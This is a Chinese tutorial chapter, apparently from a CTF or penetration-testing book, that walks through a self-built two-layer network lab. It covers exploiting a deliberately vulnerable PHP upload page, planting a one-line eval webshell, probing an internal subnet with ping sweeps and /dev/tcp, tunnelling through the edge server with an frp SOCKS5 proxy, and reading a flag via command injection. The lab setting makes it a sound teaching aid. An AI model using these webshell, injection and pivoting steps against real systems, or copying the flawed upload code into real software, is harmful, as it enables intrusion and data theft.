两层网络实战

在前面的章节里,我们做的都是"单点突破":一个漏洞、一台机器、一个 flag。但真实的渗透和相当一部分 CTF 综合题(尤其是 AWD 和内网渗透类赛题)里,目标往往不是一台机器,而是一张网。本章用一条最小但完整的链路把前面学的东西串起来:

攻击机 → 边界 Web 服务器(双网卡)→ DMZ 内的一台主机(拿 flag)

读完本章并跟着做一遍,你应该能独立搭出一个两层网络环境,并完成从 Web 打点到内网拿 flag 的全流程。

场景与拓扑

拓扑很简单,先记在心里,后面每一步都对得上号:

+-----------+        外网 10.0.0.0/24        +----------------------+       内网 192.168.56.0/24       +------------+
|  攻击机    |  10.0.0.10  -------------->  |   边界 Web 服务器      |  192.168.56.10  ------------->  |  DMZ 主机   |
|  (Kali)   |                              |  10.0.0.20 (对外)      |                               | 192.168.56.20 |
+-----------+                              |  192.168.56.10 (对内)  |                               |  (有 flag)  |
                                           +----------------------+                               +------------+

三个关键设定:

  • 攻击机只能访问边界服务器的 对外网卡(10.0.0.20),完全看不到 192.168.56.0/24 这个网段。
  • 边界服务器有 两张网卡,一张对外一张对内,它就是两张网之间的唯一跳板。
  • DMZ 主机不出网也不直接被攻击机访问,上面跑着一个有漏洞的服务,flag 在它身上。

整个思路就一句话:把第一台机器打成"跳板",借助它把流量送进第二张网。所以"发现第二张网卡"和"建立代理"是本章真正的核心,Web 打点只是入场券。

本地搭建环境

如果你看过「虚拟机与网络模拟」一章,这一节就是把那里的知识落地。用 VirtualBox 或 VMware 都可以,这里以 VirtualBox 为例。

准备三台虚拟机:

  • 攻击机:Kali Linux(或者你顺手的发行版,装好 curl、nmap、python3 即可)。
  • 边界服务器:Ubuntu,装 Apache/Nginx + PHP,放一个故意写有漏洞的 Web 应用。
  • DMZ 主机:Ubuntu,跑一个简单的内网服务(比如一个带命令执行的 PHP 页面),并在 /root/flag.txt 或 Web 目录放 flag。

关键在于网卡配置:

  • 攻击机:一张网卡,接 Host-Only 网络 A(或 NAT Network A),对应拓扑里的"外网" 10.0.0.0/24。
  • 边界服务器:两张网卡,第一张接网络 A,第二张接 Host-Only 网络 B(192.168.56.0/24)。
  • DMZ 主机:一张网卡,只接网络 B,不分配任何能通往攻击机的路由。

配好后在攻击机上验证:

ping 10.0.0.20          # 能通:边界服务器的对外网卡
ping 192.168.56.20      # 不通:DMZ 主机对攻击机不可见

第一条通、第二条不通,环境就搭对了。不想开三台虚拟机的同学也可以用 Docker 建两个自定义 bridge 网络模拟,容器通过 --network 挂到不同网络上,思路完全一样。

接下来在边界服务器上部署一个"故意的"漏洞应用。本章用文件上传作为入口(对应「文件上传」一章的知识点),upload.php 大致如下:

<?php
// 边界服务器上的 upload.php:只检查后缀黑名单,且忘了禁 .php
$allow = array("jpg", "png", "gif");
$ext = pathinfo($_FILES["f"]["name"], PATHINFO_EXTENSION);
if (!in_array($ext, array("html", "js"))) {   // 黑名单写漏了
    move_uploaded_file($_FILES["f"]["tmp_name"], "uploads/" . $_FILES["f"]["name"]);
    echo "uploads/" . $_FILES["f"]["name"];
}
?>

第一步:Web 入口打点

从攻击机视角开始。访问 http://10.0.0.20/upload.php,发现是个上传点。先传一张正常图片确认功能,再试探后缀限制——黑名单没拦 .php,那直接上传一句话木马:

<?php @eval($_POST['cmd']); ?>

保存为 shell.php,用 curl 上传:

curl -F "f=@shell.php" http://10.0.0.20/upload.php
# 回显:uploads/shell.php

验证代码执行:

curl -d "cmd=system('id');" http://10.0.0.20/uploads/shell.php
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

拿到 www-data 的 RCE,入口点打完。这一步的细节(后缀绕过、黑名单/白名单、解析漏洞)都在「文件上传」一章,这里不再展开;换成本书其他任意一个入口(比如「SQL注入」写马、「RCE」直接执行命令)链路也完全一样。

第二步:webshell 落地

curl 一条条发命令太笨重,把 webshell 交给管理工具。用蚁剑(AntSword)或冰蝎(Behinder)连接 http://10.0.0.20/uploads/shell.php,密码 cmd,连接成功后就有终端和文件管理功能。

如果目标不出网、只有 HTTP 可达,也可以直接用蚁剑的虚拟终端,不必急着弹反向 shell。本章全程假设"只能走 HTTP",这也更接近多数 CTF 题的设定。

第三步:发现第二张网卡

拿到 shell 后第一件事不是乱翻文件,而是 搞清楚这台机器在哪、还连着谁。在 webshell 里执行:

ip a

输出里出现两块网卡:

2: eth0: inet 10.0.0.20/24 ...        # 对外,就是我们打进来的这张
3: eth1: inet 192.168.56.10/24 ...    # 对内,新的网段!

192.168.56.10/24 说明这台服务器还连着一张我们看不到的网。这就是"两层网络"的"第二层"入口。接着做内网主机发现,目标机器上没装 nmap 就用最朴素的 ping 扫描:

for i in $(seq 1 254); do ping -c 1 -W 1 192.168.56.$i | grep "from" ; done
# 64 bytes from 192.168.56.10 ...   (本机)
# 64 bytes from 192.168.56.20 ...   (有东西!)

再确认 192.168.56.20 上开了什么。没有 nmap 时可以用 bash 的 /dev/tcp 探测常见端口:

for p in 22 80 3306 6379 8080; do
  (echo > /dev/tcp/192.168.56.20/$p) 2>/dev/null && echo "$p open"
done
# 80 open

结论:内网有一台 192.168.56.20,开着 80 端口。但我们没法直接从攻击机访问它——于是进入本章最关键的一步。

第四步:建立代理

代理的本质:让边界服务器替我们转发流量,攻击机把包发给它,它从内网网卡转发进 192.168.56.0/24,再把响应带回来。常用工具有 frp、Venom、Stowaway、EarthWorm 等,详细的原理、对比和各种隧道打法见「代理与隧道」一章,这里只给最小可用的一组操作。

以 frp 为例。在攻击机(有公网或对边界可达,这里就是 10.0.0.10)上运行 frps(服务端),配置文件 frps.toml

bindPort = 7000

启动:

./frps -c frps.toml

通过 webshell 把 frpc(客户端)上传到边界服务器,配置 frpc.toml

serverAddr = "10.0.0.10"
serverPort = 7000

[[proxies]]
name = "socks5"
type = "tcp"
remotePort = 1080
[proxies.plugin]
type = "socks5"

在边界服务器上启动:

chmod +x frpc && ./frpc -c frpc.toml

这样攻击机的 127.0.0.1:1080 就是一个 SOCKS5 代理,出口在边界服务器的内网网卡上。给 proxychains 配上它,编辑 /etc/proxychains4.conf 末尾:

[ProxyList]
socks5 127.0.0.1 1080

验证代理通了没有:

proxychains curl http://192.168.56.20/
# 能看到 DMZ 主机上的页面内容——第二张网打通了

注意 frp 的这套 SOCKS5 插件只转发 TCP;如果只是打 Web 服务,这完全够用。

第五步:打 DMZ 主机拿 flag

现在从攻击机"隔着跳板"访问内网服务。先看页面:

proxychains curl http://192.168.56.20/

回显一个表单,提示 ?ping= 参数可以"测试内网连通性"。传个值试试:

proxychains curl "http://192.168.56.20/?ping=127.0.0.1"
# PING 127.0.0.1 (127.0.0.1): 56 data bytes ...

典型的命令拼接,对应「RCE」一章的内容。测试命令注入:

proxychains curl "http://192.168.56.20/?ping=127.0.0.1;id"
# ... uid=0(root) gid=0(root) ...

直接翻 flag:

proxychains curl "http://192.168.56.20/?ping=127.0.0.1;cat /flag.txt"
# flag{tw0_l4y3r_n3tw0rk_pwn3d}

拿到 flag,全链路走完。

链路回顾

把整条路再走一遍,每一步对应本书的一个知识点:

  1. Web 打点:文件上传黑名单绕过拿 RCE(见「文件上传」,也可换成「SQL注入」「RCE」里的任意入口)。
  2. webshell 落地:蚁剑/冰蝎接管,获得稳定操作通道。
  3. 发现第二张网卡ip a 看到双网卡,ping 扫描 + /dev/tcp 探测出内网存活主机。
  4. 建立代理:frp 反连出 SOCKS5,proxychains 接管攻击机流量(更多姿势见「代理与隧道」)。
  5. 打内网目标:命令拼接注入拿 flag。

你会发现"内网渗透"并没有什么新魔法,它就是:每拿下一台机器,就把它变成通往下一层的跳板,然后把单机的活儿在新一层里重新干一遍。三层、四层网络也不过是这个循环的重复。把这条两层链路亲手搭出来、走通,后面的「代理与隧道」和 AWD 相关章节会顺很多。

评论